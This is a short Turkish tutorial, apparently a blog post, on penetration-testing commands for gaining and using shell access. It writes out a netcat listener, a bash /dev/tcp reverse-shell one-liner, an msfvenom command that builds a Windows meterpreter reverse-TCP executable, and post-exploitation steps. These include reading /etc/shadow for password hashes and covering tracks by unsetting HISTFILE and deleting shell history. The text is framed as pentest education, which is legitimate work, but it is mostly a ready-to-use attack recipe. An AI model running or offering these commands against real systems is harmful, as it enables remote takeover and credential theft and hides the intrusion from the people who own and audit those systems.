Sızma testlerinde olmazsa olmaz ve bazen gözden kaçan birkaç Linux komutu ve örnek kullanım yerlerinden bahsedeceğim. Kendime engel olamayıp bazı "hacking" araçlarını veya farklı yazılım dillerini de devreye sokabilirim.
Shell Almak
Başka bir sistem üzerinde dosya çalıştırabildiğimizi farzedelim. Reverse bağlantıları kabul etmek için bir listener açmak gerekecek. Bunun için herhangi bir dili kullanabiliriz fakat Netcat bu işi çok iyi yapıyor.
Aşağıdaki komut ile 6666 portu üzerinden gelen bağlantıları dinleriz:
nc -nlvp 6666
Karşı tarafta Netcat kurulu olmayabilir. Bunun için çok kısa scriptler gerekecek. Eğer uzak sistem Mac veya Linux ise, Bash kullanmak en kolayı.
İşte tek satırda reverse TCP üzerinden Shell almak:
bash -i>&/dev/tcp// 0>&1
Bakalım oluyor muymuş:
"Saldırgan" makineye bakıldığında ise, başarılı olarak shell aldığımızı görüyoruz.
Aynısını bir Windows üzerinde yapmak istersek bunu bir Python betiği ile yapabiliriz fakat Windows üzerinde Python kurulu olmayabilir. Bir .exe dosyasına ihtiyacımız olacak.
Bunun için basit bir metasploit komutu:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o Reverse_cmd.exe
Erişim Sonrası (Post Exploitation)
Diyelim bir Mac veya Linux ele geçirdik. Aşağıdaki komut ile kernel versiyonunu öğrenebiliriz:
uname -a
Çalışan diğer işlemleri görmek için:
ps aux
Ele geçirilen kullanıcıyı görüntülemek için:
id
Hangi kullanıcıların oturum açmış olduğunu görmek için:
w
Kullanıcılar hakkında daha fazla bilgi edinmek için:
who -a
Kullanıcı parola hash'lerini görüntülemek için:
/etc/shadow
Son girilen komutları görmek için:
history
Spesifik bir şey arıyorsak, örneğin:
history | grep ifconfig
İzleri gizlemek için de:
export HISTFILE=
rm -rf ~/bash_history
Eğer bir Windows ele geçirmiş olsaydık, farklı komutlara ihtiyacımız olacaktı. Bu kısım biraz konu dışına çıktığı için bu kısmı başka bir yazımda detaylı olarak ele alacağım.